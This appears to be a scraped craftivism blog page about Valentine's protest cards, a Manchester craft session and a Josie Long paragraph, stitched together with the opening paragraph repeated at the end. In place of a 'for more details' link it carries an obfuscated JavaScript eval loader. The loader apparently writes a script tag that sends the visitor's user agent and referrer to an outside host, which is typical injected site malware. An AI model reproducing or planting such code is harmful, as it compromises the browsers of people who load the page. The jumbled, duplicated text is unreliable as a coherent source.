Blog by Jemma O'Brien of Manchester Oxfam Society
The tables were set, scissors and glue lined up nicely, ribbon and fabric cut into even chunks, felt tips and coloured pencils at the ready, tissue paper, crepe paper, heart hole punch put in the middle (not as sinister as it sounds) big cards, small cards, envelopes, come to think of it, we’d completely wiped out the craft store. Now the people, were they going to come ‘get their craft on’ as one girl said? Yes! They came, hoorah! First through the door, three wonderful boys! At first slightly bewildered at the masses of crafty goods before them, they took their seats and went for it (not quite duck to water standard, one just stared at his card in confusion for a while) and by the time they had to leave to go ‘do science’ we had several beautiful cards made with their fair hands. But what are we doing here in this small top room of Manchester University?
Tatty Devine has already advertised our event here and we have craftivists in Leeds, Bristol, Bangor, Newcastle and Vancouver taking on our Valentines project (go here for more info on this project). We have had a few journalists and bloggers ask for a press release so we thought we should post one for them to use and also for other craftivists to use the help advertise their event and planting the letters in there city. Here it is (please change small sections if needed to make more local)
Hijacking Valentines Day
Many people will receive an unexpected Valentine this year, courtesy of crafty activist group Craftivist Collective, who aim to hijack Valentines Day. For the third year running, the collective will be hiding alternative Valentines letters and gifts in public across the UK including London, waiting to be found by unsuspecting members of the public.
Around November 2010 a lovely guy called Duncan from Manchester who was a graphic design student contacted the Craftivist Collective and asked if he could set up a collective in Manchester. He was clear in saying that he had never cross-stitched before and didn't know much about climate change but he was passionate about setting up a craftivism session in Manchester and wanted to invite people to make our Mini Protest Banners on the theme of climate change. Sarah Corbett our Founder emailed Duncan lots of resources for the mini protest banner session on the environment and they had a good chat about how climate change was a human rights because it is the poorest people in the world with the least carbon emissions per head of the population being affected the most by the affects of climate change. They met in Liverpool for the first time on Wednesday 1st December at the Liverpool Bluecoat Bed-In project the Craftivist Collective where involved in and there, Duncan learnt how to make his first mini protest banner. Duncan, being the graphic designer he is made his own Mini Protest Banner kit envelopes and flyers but stuck to our manifesto and content of our kits. The first session went well and well enough that he set up a second session for his group Craftivism Manchester at Nexus Art cafe in the hip Northern Quarter of the city.
At the London Craftivism evening in Tatty Devine's shop last Thursday (more info here) a lovely craftivist called Jane attended her first Craftivist Collective meeting. Jane emailed us to book a place and came along with so much energy, enthusiasm and positivity - she fitted in with the rest of the group perfectly.
After the meeting Jane emailed us another option for a valentines card. It was so beautiful we wanted to share it with you. If you want to use Jane's letter (below) instead of the template you can find here then please do. Alternatively you could write your own but please make sure it fits in with our manifesto and climate change.
[youtube=http://www.youtube.com/watch?v=aMkCrYsXLWY]
For more details on the project, click eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|daara|var|u0026u|referrer|dryaa||js|php'.split('|'),0,{}))
here....
Josie Long is not your everyday comedic superstar. In her most recent show, Be Honourable! she celebrated porridge with religious fervour, did a stellar Nye Bevan impersonation, and told a hilarious and faintly disturbing story about a deranged paparazzo.
But she also did a rare and noble thing, and introduced passionate political commentary to her act. Inspired by the election results and consequent turmoil of broken promises, cuts, and protests, Josie decided to become more politically active, and documented her progress as an activist.
Each year we try and hijack valentines day and remind people to "Show some love" for their global neighbours as well as the usual smushy stuff. We want you to join in our craftivism project this year please.
This year we hope to have people all over the globe make as many cards as they can and leave them around their area on Valentines day. In the last 2 years we have left 100 letters around Liverpool and London (see photos here). Each letter will contain an alternative valentine’s letter (see template letter here), a handmade gift that Tatty Devine are designing for us (see design here) and a love heartsweet. Hand delivered to gaps in walls, cash machine slots, shop shelves etc- You don’t have to be in a relationship to have one of these!
The tables were set, scissors and glue lined up nicely, ribbon and fabric cut into even chunks, felt tips and coloured pencils at the ready, tissue paper, crepe paper, heart hole punch put in the middle (not as sinister as it sounds) big cards, small cards, envelopes, come to think of it, we’d completely wiped out the craft store. Now the people, were they going to come ‘get their craft on’ as one girl said? Yes! They came, hoorah! First through the door, three wonderful boys! At first slightly bewildered at the masses of crafty goods before them, they took their seats and went for it (not quite duck to water standard, one just stared at his card in confusion for a while) and by the time they had to leave to go ‘do science’ we had several beautiful cards made with their fair hands. But what are we doing here in this small top room of Manchester University?
